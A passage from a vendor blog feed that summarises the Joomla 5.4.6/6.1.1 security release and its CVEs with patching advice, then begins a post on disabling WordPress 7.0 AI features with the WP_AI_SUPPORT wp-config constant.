href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-48900&quot;&gt;CVE-2026-48900&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;&lt;td&gt;Low&lt;/td&gt;&lt;td&gt;4.1.0-5.4.5, 6.0.0-6.1.0&lt;/td&gt;&lt;td&gt;5.4.6, 6.1.1&lt;/td&gt;&lt;td&gt;ACL bypass in com_scheduler. Low-priv users can edit task types of existing scheduler tasks.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-48901&quot;&gt;CVE-2026-48901&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;&lt;td&gt;Low&lt;/td&gt;&lt;td&gt;4.0.0-5.4.5, 6.0.0-6.1.0&lt;/td&gt;&lt;td&gt;5.4.6, 6.1.1&lt;/td&gt;&lt;td&gt;Incorrect cache key construction for InputFilter objects.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-48902&quot;&gt;CVE-2026-48902&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;&lt;td&gt;Low&lt;/td&gt;&lt;td&gt;3.9.0-5.4.5, 6.0.0-6.1.0&lt;/td&gt;&lt;td&gt;5.4.6, 6.1.1&lt;/td&gt;&lt;td&gt;Transport encryption downgrade. Password and username reset links generated as HTTP when “Force SSL” is off. Reaches back to 3.9.0.&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;NVD entries may show “RESERVED” status for the first few days after disclosure. The authoritative writeups live in the &lt;a href=&quot;https://developer.joomla.org/security-centre.html&quot;&gt;Joomla Security Centre&lt;/a&gt; and were live the day the patches dropped.&lt;/p&gt;
&lt;p&gt;Eight of the ten affect every install from 4.0.0 onwards. CVE-2026-48900 is scoped to 4.1.0 and later (com_scheduler shipped in 4.1). CVE-2026-48902, 48903 and 48905 reach further back, into the &lt;a href=&quot;https://joomla3security.com/core-vulnerabilities/&quot;&gt;Joomla 3 lineage&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;More Security Issues Already Queued for the Next Release&lt;/h2&gt;
&lt;p&gt;Two open pull requests filed on 2026-05-27 line up three more CVEs for the next 5.4 and 6.1 point releases. PRs &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/47847&quot;&gt;#47847&lt;/a&gt; (5.4) and &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/47848&quot;&gt;#47848&lt;/a&gt; (6.1) bump bundled &lt;code&gt;symfony/yaml&lt;/code&gt; from 6.4.25 (5.4 branch) and 6.4.34 (6.1 branch) to 6.4.41 to close three Symfony-side advisories:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-45304&quot;&gt;CVE-2026-45304&lt;/a&gt; - YAML Parser exponential memory allocation via recursive collection-alias expansion. The classic “Billion Laughs” attack pattern, transplanted from XML into YAML.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-45305&quot;&gt;CVE-2026-45305&lt;/a&gt; - ReDoS via catastrophic backtracking in &lt;code&gt;Parser::cleanup()&lt;/code&gt; regex.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-45133&quot;&gt;CVE-2026-45133&lt;/a&gt; - Stack exhaustion via unbounded recursion in nested blocks, sequences, and mappings.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;All three are denial-of-service rather than remote code execution. No one’s site gets hacked Wednesday morning because of them. But they affect every version of &lt;code&gt;symfony/yaml&lt;/code&gt; from 2.0.0 through 8.0.11, meaning the buggy code shipped in 2011 and nothing flagged it until 20 May 2026. Fifteen years.&lt;/p&gt;
&lt;h2&gt;AI Is Accelerating the Security Disclosure Rate&lt;/h2&gt;
&lt;p&gt;Three Symfony YAML parser CVEs disclosed on the same day, in code that has been sitting in production since 2011, isn’t a coincidence. Vulnerability discovery has shifted gear over the last twelve months, and this release is what the new shape looks like.&lt;/p&gt;
&lt;p&gt;For most of open source history, finding a security bug needed a human with niche expertise sitting down to read code. The reason a “Billion Laughs” variant in &lt;code&gt;symfony/yaml&lt;/code&gt; was still there in for fifteen years isn’t that the code is impossibly complex; it’s that few humans had the time or motivation to look. The library worked. It parsed YAML. Almost no one was going to craft a recursive collection-alias payload at it and watch the memory graph climb.&lt;/p&gt;
&lt;p&gt;LLMs have changed the economics. An LLM can read the entire &lt;code&gt;symfony/yaml&lt;/code&gt; codebase in seconds, suggest classes of input that might trigger pathological behaviour, and write the fuzzing harness to confirm. A researcher who would have spent a week manually auditing one parser can now sweep a hundred packages in an afternoon.&lt;/p&gt;
&lt;p&gt;You can see the same pattern in the Joomla 5.4.6 / 6.1.1 release itself: the credits list on the &lt;a href=&quot;https://developer.joomla.org/security-centre.html&quot;&gt;Joomla Security Centre&lt;/a&gt; names “Doyensec (with Claude/Anthropic Research)” against CVE-2026-48896. Expect more attributions like that on future releases.&lt;/p&gt;
&lt;p&gt;For an agency, the practical consequences:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Disclosure rate is climbing and will keep climbing. Expect more CVEs per Joomla point release, not fewer, and the same across PHP frameworks, WordPress plugins, and NPM packages.&lt;/li&gt;
&lt;li&gt;More disclosures means more theoretical issues. The three symfony/yaml ones above only matter if attacker-controlled YAML reaches a parser on your site, which on most Joomla installs it doesn’t. The CVE still gets a number, still appears in &lt;code&gt;composer audit&lt;/code&gt;, and still needs an answer when a client asks.&lt;/li&gt;
&lt;li&gt;Patch cadence becomes operational. Releases that close ten core CVEs and reference three more queued for the next minor don’t fit a rolling once-a-quarter schedule. Thirty sites done by hand was already annoying; fifty during a high-disclosure year isn’t sustainable without tooling.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You aren’t going to read every CVE on every release. What you need is something that tells you which of your sites are exposed to which fix and lets you patch them in bulk before the next batch arrives. That is what the &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; shows you.&lt;/p&gt;
&lt;h2&gt;Which Security Issue Should You Patch First in Joomla?&lt;/h2&gt;
&lt;p&gt;The real answer for most agencies is “all of them, at once, because they all need 5.4.6 or 6.1.1 anyway.” There is no cherry-picking individual patches out of this release. But if you have a backlog of upgrades and have to phase the rollout, the priority order is:&lt;/p&gt;
&lt;h3&gt;1. CVE-2026-48898 (com_users batch task privilege escalation)&lt;/h3&gt;
&lt;p&gt;This is the only High-severity item. The com_users batch task lets administrators apply changes to many users at once: changing groups, resetting passwords, deleting accounts. An improper access check means a backend user with limited rights can use the batch operation to elevate beyond their assigned permissions.&lt;/p&gt;
&lt;p&gt;Patch first on any site where you do not personally control every backend account. That includes multi-author publications, sites with freelance editors, anywhere a junior staff member has Manager or Publisher access, and any client site where the user list has grown over years without audit.&lt;/p&gt;
&lt;h3&gt;2. CVE-2026-48896 and 48897 (MFA Authentication Bypass)&lt;/h3&gt;
&lt;p&gt;Two distinct issues, both Moderate. CVE-2026-48896 is “insufficient state checks” in the MFA flow. CVE-2026-48897 is “incorrectly reset session states.” Both have been present since Joomla 4.0.0.&lt;/p&gt;
&lt;p&gt;These only matter if you rely on Joomla’s MFA. If you have super-user accounts protected by 2FA on the assumption that a stolen password alone is not enough, that assumption was wrong from 4.0.0 through 5.4.5 and 6.0.0 through 6.1.0. Patch every site running MFA before you patch the ones without it. If you are going the other way and &lt;a href=&quot;https://mysites.guru/blog/force-mfa-on-joomla-super-users-across-every-site/&quot;&gt;turning MFA enforcement on across a portfolio&lt;/a&gt;, do the patching first.&lt;/p&gt;
&lt;h3&gt;3. CVE-2026-48904 (com_users webservice priv-esc)&lt;/h3&gt;
&lt;p&gt;A privilege escalation parallel to CVE-2026-48898 but reached via the webservice API rather than the HTML admin. Only matters if you have webservices enabled, which most production sites do, because Joomla ships them on. If nothing on the site uses the API, &lt;a href=&quot;https://mysites.guru/blog/how-to-disable-the-joomla-api-webservices/&quot;&gt;disable the Joomla API&lt;/a&gt; and this whole class of flaw stops applying.&lt;/p&gt;
&lt;h3&gt;4. The XSS pair (CVE-2026-48903 and 48905)&lt;/h3&gt;
&lt;p&gt;Both live in the joomla/filter Framework package: &lt;code&gt;checkAttribute&lt;/code&gt; and &lt;code&gt;cleanAttributes&lt;/code&gt;. Both are described as inadequate content filtering allowing XSS payloads to come through attribute sanitisation. The advisories do not publish concrete bypass payloads, so the practical risk depends on what extensions you have installed that pass user-supplied HTML through the framework filter. Patch in normal rollout order.&lt;/p&gt;
&lt;h3&gt;5. The Low and remaining Moderate items&lt;/h3&gt;
&lt;p&gt;CVE-2026-48899 (sample data plugin access control), CVE-2026-48900 (com_scheduler task type editing), CVE-2026-48901 (InputFilter cache key), CVE-2026-48902 (HTTP password reset links). Worth closing, but unlikely to drive a same-night incident.&lt;/p&gt;
&lt;h2&gt;How Do You Verify a Joomla Bulk Update Actually Worked?&lt;/h2&gt;
&lt;p&gt;The most common patch-night failure I see isn’t patches that break sites. It’s patches that don’t apply: a site reports the new version in the dashboard, but the files on disk are still on the old build. Sometimes the database fix step fails and the site loads while logging errors in the background.&lt;/p&gt;
&lt;p&gt;Useful checks after a bulk Joomla update:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Version string check.&lt;/strong&gt; Hit every site’s frontend (or your admin’s version display) and confirm it reports 5.4.6 or 6.1.1. mySites.guru’s site overview does this on one screen.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Database fix.&lt;/strong&gt; Joomla’s Extensions → Manage → Database tool flags any schema mismatches. Worth running after a Moderate or High patch night. Across 30+ sites doing it by hand is impractical, which is why automating it as part of the update flow matters.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MFA round-trip.&lt;/strong&gt; Log in to one admin account per site with MFA enabled. The 48896/48897 fixes changed session-state handling, so a quick check catches anything misbehaving.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;mySites.guru lists the real version running on your site, not the version Joomla’s dashboard thinks is installed. It reads the actual code on disk and shows it alongside every connected site in your console, so a site that hung at “downloading 6.1.1” shows up as still on 6.1.0 even when its admin claims otherwise.&lt;/p&gt;
&lt;p&gt;Companion pieces to keep near the workflow: &lt;a href=&quot;https://mysites.guru/blog/joomla-scheduled-tasks-backdoor/&quot;&gt;what a planted row in Joomla’s scheduler looks like&lt;/a&gt;, which is the mechanism CVE-2026-48900 above hands to a low privileged account; &lt;a href=&quot;https://mysites.guru/blog/detect-locked-joomla-scheduled-tasks/&quot;&gt;detecting locked Joomla scheduled tasks&lt;/a&gt;, which sometimes appear in the days after a Joomla version bump if a &lt;code&gt;cli/joomla.php&lt;/code&gt; task left a row stuck in &lt;code&gt;task_lock&lt;/code&gt;, and &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;automatic updates for any Joomla extension&lt;/a&gt;, which closes the gap between core patches like this one and the long tail of extension CVEs that never make a Joomla.org headline.&lt;/p&gt;
&lt;h2&gt;How Do You Spot Joomla Sites Still on Old Versions Without Logging Into Each Admin?&lt;/h2&gt;
&lt;p&gt;If your sites aren’t connected to a central manager, the manual options are limited:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Reading &lt;code&gt;administrator/manifests/files/joomla.xml&lt;/code&gt;&lt;/strong&gt; on every site over SSH or FTP. Workable for five sites; rough for thirty.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Requesting &lt;code&gt;/administrator/manifests/files/joomla.xml&lt;/code&gt; on each site&lt;/strong&gt; and parsing the &lt;code&gt;&amp;lt;version&amp;gt;&lt;/code&gt; element. Often blocked on hardened sites.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Checking the frontend HTML for a generator tag&lt;/strong&gt;, if it hasn’t been stripped, which on most hardened sites it has been.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The connector-based approach mySites.guru uses reports the running version straight from the site itself: faster, accurate, and unaffected by whatever fingerprinting hardening is in place. Above five sites it’s the only practical option. The &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;multi-site management dashboard&lt;/a&gt; lists every connected site by version on one screen, and the &lt;a href=&quot;https://mysites.guru/blog/how-to-enable-joomla-extension-auto-updates/&quot;&gt;extension auto-update guidance&lt;/a&gt; keeps the long tail of plugins current without manual sweeps.&lt;/p&gt;
&lt;p&gt;The dashboard puts every old version on the same screen. Joomla 3.10.12, 5.4.2, 5.4.5, 6.1.0, and the WordPress sites that drifted onto 6.9.4 after 7.0 shipped all show up in one filterable list. Sort by version, see how many sites you have on each, filter by “Joomla 5.4.5” to get the exact list needing 5.4.6 tonight. Each row has a one-click admin login if you need to step into a site, so there’s no typing thirty passwords. The screenshot above this section shows the mixed-CMS view with red badges on every site behind a stable release.&lt;/p&gt;
&lt;p&gt;A single-screen view is the difference between “I think we’re up to date” and “here’s the report.” Client-facing security questionnaires get easier the moment you can produce that.&lt;/p&gt;
&lt;h2&gt;Other Library Bumps in the 6.1.1 Build&lt;/h2&gt;
&lt;p&gt;Beyond the security work, the 6.1.1 build bundles:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;phpseclib 3.0.52&lt;/strong&gt;, picking up fixes from two consecutive bumps in the release cycle (3.0.51 in &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/47620&quot;&gt;PR 47620&lt;/a&gt;, then 3.0.52 in &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/47738&quot;&gt;PR 47738&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;joomla/oauth2 4.0.2&lt;/strong&gt; via &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/47722&quot;&gt;PR 47722&lt;/a&gt;, fixing OAuth2Client authentication.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Three NPM dev-dependency updates&lt;/strong&gt; via &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/47622&quot;&gt;PR 47622&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These library bumps don’t change behaviour for end users, but they do close transitive vulnerabilities that would otherwise turn up on any composer security audit of the Joomla codebase.&lt;/p&gt;
&lt;h2&gt;What Happened in the Next Release&lt;/h2&gt;
&lt;p&gt;Worth keeping in mind if you are planning the update after this one. The releases that followed, 5.4.7 and 6.1.2, shipped a core regression that makes Joomla ignore every Option set on an individual article, including alternative layouts and author display. If you updated past 6.1.1 and your article layouts stopped taking effect, &lt;a href=&quot;https://mysites.guru/blog/joomla-6-1-2-5-4-7-article-options-ignored/&quot;&gt;that is a known core bug with an official hotfix&lt;/a&gt; rather than anything wrong with your template. The next security release after that, 5.4.9 and 6.1.4 on 29 September 2026, fixed 16 more core issues, including a fourth MFA bypass of the year and the Template Manager bug from 5.4.8 and 6.1.3: &lt;a href=&quot;https://mysites.guru/blog/joomla-5-4-9-and-6-1-4-security-release/&quot;&gt;the full list is in the 5.4.9 and 6.1.4 write-up&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-05-20&lt;/strong&gt; Three symfony/yaml advisories are flagged They affect every version of the package from 2.0.0 through 8.0.11, so the buggy code shipped in 2011 and nothing flagged it for fifteen years. All three are denial of service rather than remote code execution.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-05-26&lt;/strong&gt; Joomla 5.4.6 and 6.1.1 close ten CVEs in a single release Two MFA authentication bypasses, a High-severity privilege escalation through the com_users batch task, and a pair of cross-site scripting bugs in the joomla/filter Framework package that had been present since Joomla 3.0.0.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-05-26&lt;/strong&gt; The Security Centre publishes all ten advisories the same day Which is the point the fixes become diffable, so the window between the release and your update is the window that matters.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-05-27&lt;/strong&gt; Two pull requests line up three more CVEs for the next point releases They bump bundled symfony/yaml from 6.4.25 on the 5.4 branch and 6.4.34 on the 6.1 branch to 6.4.41, closing the three Symfony-side advisories.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomla.org/announcements/release-news/5954-joomla-6-1-1-5-4-6-security-bugfix-release.html&quot;&gt;Joomla 6.1.1 and 5.4.6 Security and Bugfix Release announcement&lt;/a&gt; - the official joomla.org write-up.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre.html&quot;&gt;Joomla Security Centre&lt;/a&gt; - full list of advisories with affected versions and credits.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/releases/tag/5.4.6&quot;&gt;GitHub release notes for 5.4.6&lt;/a&gt; and &lt;a href=&quot;https://github.com/joomla/joomla-cms/releases/tag/6.1.1&quot;&gt;6.1.1&lt;/a&gt; - changelog, diff links, and the upgrade-path notes.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/compare/5.4.5...5.4.6&quot;&gt;5.4.5 to 5.4.6 diff&lt;/a&gt; - every changed file in the security release.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/compare/6.1.0...6.1.1&quot;&gt;6.1.0 to 6.1.1 diff&lt;/a&gt; - same for the 6.x branch.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you want to see how many of your Joomla sites are still on 5.4.5 or 6.1.0, start with a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; - no credit card needed.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>joomla security</category><category>vulnerability</category><category>updates</category><category>upgrade</category><enclosure url="https://mysites.guru/img/og/blog/joomla-5-4-6-and-6-1-1-patch-ten-security-issues.png" length="0" type="image/png"/></item><item><title>WP_AI_SUPPORT: Disable WordPress 7 AI Across Every Site</title><link>https://mysites.guru/blog/disable-wordpress-ai-features-wp-ai-support/</link><guid isPermaLink="true">https://mysites.guru/blog/disable-wordpress-ai-features-wp-ai-support/</guid><description>WordPress 7.0 ships with built-in AI features enabled by default. Disable WP_AI_SUPPORT across every WordPress site you manage in one click with mySites.guru.</description><pubDate>Thu, 21 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;div&gt;
  &lt;p&gt;New in mySites.guru: WP_AI_SUPPORT toggle&lt;/p&gt;
  &lt;p&gt;The WordPress Configuration audit now detects whether WordPress 7.0+ AI features are enabled on every connected site, and lets you flip WP_AI_SUPPORT off (or back on) with one click per site.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;WordPress 7.0 “Armstrong” shipped on 20 May 2026 with the new AI Client baked into core, and three featured provider connectors (Anthropic, Google, and OpenAI) available out of the box at Settings - Connectors. If you manage client sites, every WordPress site you look after is now wired for generative AI unless you explicitly turn it off.&lt;/p&gt;
&lt;p&gt;mySites.guru’s &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;WordPress Configuration audit&lt;/a&gt; now picks up the &lt;code&gt;WP_AI_SUPPORT&lt;/code&gt; constant during every snapshot and flags any connected site where AI features are still enabled. One click flips the wp-config.php define on the remote site. If you &lt;a href=&quot;https://mysites.guru/manage-multiple-wordpress-sites/&quot;&gt;manage hundreds of WordPress sites&lt;/a&gt;, you can work through the whole portfolio from one screen rather than SSHing into each server.&lt;/p&gt;
&lt;h2&gt;One-Click WP_AI_SUPPORT Toggle Across Your Portfolio&lt;/h2&gt;
&lt;p&gt;mySites.guru’s &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;WordPress Configuration audit&lt;/a&gt; reads &lt;code&gt;WP_AI_SUPPORT&lt;/code&gt; from wp-config.php on every connected WordPress site during each snapshot. If the constant is undefined or set to anything other than &lt;code&gt;false&lt;/code&gt;, the audit flags the site as “AI on”.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru WordPress Configuration audit showing the WP_AI_SUPPORT toggle across five WordPress sites - four flagged as AI on, one already changed to AI off&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 2670px) 2670px, 100vw&quot; width=&quot;2670&quot; height=&quot;1070&quot; src=&quot;https://mysites.guru/_astro/mysites-guru-wp-ai-support-audit.C2RNTxz6_Z2ab7li.webp&quot; srcset=&quot;https://mysites.guru/_astro/mysites-guru-wp-ai-support-audit.C2RNTxz6_Zz6k9h.webp 640w, https://mysites.guru/_astro/mysites-guru-wp-ai-support-audit.C2RNTxz6_cqOIq.webp 750w, https://mysites.guru/_astro/mysites-guru-wp-ai-support-audit.C2RNTxz6_ZqzzyO.webp 828w, https://mysites.guru/_astro/mysites-guru-wp-ai-support-audit.C2RNTxz6_ZRY6hH.webp 1080w, https://mysites.guru/_astro/mysites-guru-wp-ai-support-audit.C2RNTxz6_2qT4NE.webp 1280w, https://mysites.guru/_astro/mysites-guru-wp-ai-support-audit.C2RNTxz6_Z1uoOoS.webp 1668w, https://mysites.guru/_astro/mysites-guru-wp-ai-support-audit.C2RNTxz6_Z1Vveiu.webp 2048w, https://mysites.guru/_astro/mysites-guru-wp-ai-support-audit.C2RNTxz6_1s7hHA.webp 2560w, https://mysites.guru/_astro/mysites-guru-wp-ai-support-audit.C2RNTxz6_Z2ab7li.webp 2670w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Click the fix button. The connector plugin writes &lt;code&gt;define(&apos;WP_AI_SUPPORT&apos;, false);&lt;/code&gt; into wp-config.php on the remote site using the same wp-config writer it already uses for &lt;code&gt;AUTOMATIC_UPDATER_DISABLED&lt;/code&gt;, &lt;code&gt;WP_DEBUG_DISPLAY&lt;/code&gt;, and &lt;code&gt;FORCE_SSL_LOGIN&lt;/code&gt;. The next snapshot confirms the change stuck.&lt;/p&gt;
&lt;p&gt;If someone (or something) reverts the define later - a host migration, a wp-config rebuild, a careless edit - the next audit catches it and you can flip it back.&lt;/p&gt;
&lt;p&gt;You can see the WP_AI_SUPPORT status of every WordPress site in your portfolio on one screen. No individual admin logins, no spreadsheets, no SSH. This is the same pattern as &lt;a href=&quot;https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/&quot;&gt;stopping automatic updates with one click&lt;/a&gt; or &lt;a href=&quot;https://mysites.guru/blog/enforce-minor-upgrades-only-wordpress/&quot;&gt;enforcing minor-only WordPress core upgrades&lt;/a&gt; - one constant, one toggle, applied across the whole portfolio.&lt;/p&gt;
&lt;h2&gt;What is the difference between WP_AI_SUPPORT and the wp_supports_ai filter?&lt;/h2&gt;
&lt;p&gt;WordPress 7.0 gives you two ways to disable AI features, and the difference matters in practice.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;WP_AI_SUPPORT&lt;/code&gt; is a wp-config.php constant. It is read at the top of &lt;code&gt;wp_supports_ai()&lt;/code&gt;, before any filter or plugin gets a chance to run. If you define it as &lt;code&gt;false&lt;/code&gt;, nothing else can override that. It is the equivalent of pulling the plug at the wall.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;wp_supports_ai&lt;/code&gt; filter runs later in the request lifecycle. Any plugin can hook it and return &lt;code&gt;true&lt;/code&gt; or &lt;code&gt;false&lt;/code&gt; at runtime. The community-maintained &lt;a href=&quot;https://wordpress.org/plugins/turn-off-ai-features/&quot;&gt;Turn Off AI Features plugin&lt;/a&gt; uses this approach at filter priority 1000. It works, but it depends on the plugin remaining installed and being the highest-priority hook on the filter. Another plugin hooking later at priority &lt;code&gt;PHP_INT_MAX&lt;/code&gt; could undo it.&lt;/p&gt;
&lt;p&gt;For a multi-site portfolio, the constant is the safer choice. It is harder for another plugin to undermine, it lives in a file most editors don’t touch, and it leaves a clear audit trail. The mySites.guru toggle writes the constant, not the filter.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Tip&lt;/p&gt;
  &lt;p&gt;The mySites.guru WordPress Configuration audit also tracks WP_DEBUG_DISPLAY, FORCE_SSL_LOGIN, AUTOMATIC_UPDATER_DISABLED, DISALLOW_FILE_EDIT, and other wp-config constants. Set up one site, and the same audit runs on every connected site automatically.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Unrelated to mySites.guru’s Malware Analysis AI&lt;/h2&gt;
&lt;p&gt;No. mySites.guru’s &lt;a href=&quot;https://mysites.guru/blog/ai-powered-malware-analysis-now-available-in-mysites-guru/&quot;&gt;AI-powered malware analysis&lt;/a&gt; runs on our infrastructure, analyses suspect files we have already flagged with traditional pattern matching, and never sends your editorial content anywhere. WP_AI_SUPPORT controls a completely separate thing: WordPress core’s built-in generative AI features, which run inside wp-admin and can be wired to third-party providers by anyone with admin access.&lt;/p&gt;
&lt;p&gt;Disabling WP_AI_SUPPORT on your sites has no effect on mySites.guru’s own audit and malware analysis features. They use different code paths, run on different servers, and are governed by our own &lt;a href=&quot;https://mysites.guru/privacy/&quot;&gt;privacy policy&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;How do I check WP_AI_SUPPORT status across every site I manage?&lt;/h2&gt;
&lt;p&gt;If you are already on mySites.guru, open any connected WordPress site, go to the WordPress Configuration audit, and look for the &lt;code&gt;WP_AI_SUPPORT&lt;/code&gt; row. Green means AI is disabled, red means it is still on. To compare across the whole portfolio, click “Compare All Sites” on the audit row - you get one screen with every site’s WP_AI_SUPPORT status, sortable and filterable.&lt;/p&gt;
&lt;p&gt;If you are not on mySites.guru yet, run a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; on a single site. The audit will tell you whether WP_AI_SUPPORT is defined, what value it is set to, and what the wp_supports_ai() runtime result is. From there you can either install the connector on the rest of your sites for ongoing monitoring, or use the audit output as a one-off check.&lt;/p&gt;
&lt;p&gt;For agencies running large WordPress portfolios, the audit pairs well with our &lt;a href=&quot;https://mysites.guru/bulk-update-wordpress/&quot;&gt;bulk WordPress update&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/wordpress-vulnerability-scanner/&quot;&gt;vulnerability scanner&lt;/a&gt; tools. The same one-screen-per-portfolio pattern applies to updates, security headers, plugin status, and now AI features.&lt;/p&gt;
&lt;h2&gt;Manual wp-config.php Edit for Single Sites&lt;/h2&gt;
&lt;p&gt;If you only manage one or two sites, the manual approach is straightforward. SSH into the server, open wp-config.php, and add the define above the “stop editing” comment:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;define&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;WP_AI_SUPPORT&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; false&lt;/span&gt;&lt;span&gt; );&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/* That&apos;s all, stop editing! Happy publishing. */&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Save and exit. The constant takes effect on the next request - no service restart, no cache clear, nothing to flush. From the admin or WP-CLI you can verify with:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;var_dump&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt; wp_supports_ai&lt;/span&gt;&lt;span&gt;()&lt;/span&gt;&lt;span&gt; );  &lt;/span&gt;&lt;span&gt;// bool(false)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If &lt;code&gt;wp_supports_ai()&lt;/code&gt; still returns &lt;code&gt;true&lt;/code&gt;, check three things: that the file you edited is the one WordPress actually loads (some hosts use a separate config like GridPane’s &lt;code&gt;user-configs.php&lt;/code&gt;), that the define is above the &lt;code&gt;stop editing&lt;/code&gt; comment, and that no plugin is hooking the &lt;code&gt;wp_supports_ai&lt;/code&gt; filter with a higher priority and returning &lt;code&gt;true&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;For more on managing wp-config.php settings, see our guide to &lt;a href=&quot;https://mysites.guru/blog/understanding-wordpress-debug-constants/&quot;&gt;WordPress debug constants&lt;/a&gt;, which covers &lt;code&gt;WP_DEBUG&lt;/code&gt;, &lt;code&gt;WP_DEBUG_DISPLAY&lt;/code&gt;, and friends.&lt;/p&gt;
&lt;h2&gt;WP_AI_SUPPORT and Why It Matters&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;WP_AI_SUPPORT&lt;/code&gt; is a wp-config.php constant introduced in WordPress 7.0. When defined as &lt;code&gt;false&lt;/code&gt;, it disables the entire WordPress AI Client site-wide before any plugin or filter gets a chance to override the decision.&lt;/p&gt;
&lt;p&gt;The core function that gatekeeps everything is &lt;code&gt;wp_supports_ai()&lt;/code&gt;, defined in &lt;code&gt;wp-includes/ai-client.php&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;function&lt;/span&gt;&lt;span&gt; wp_supports_ai&lt;/span&gt;&lt;span&gt;()&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; bool&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
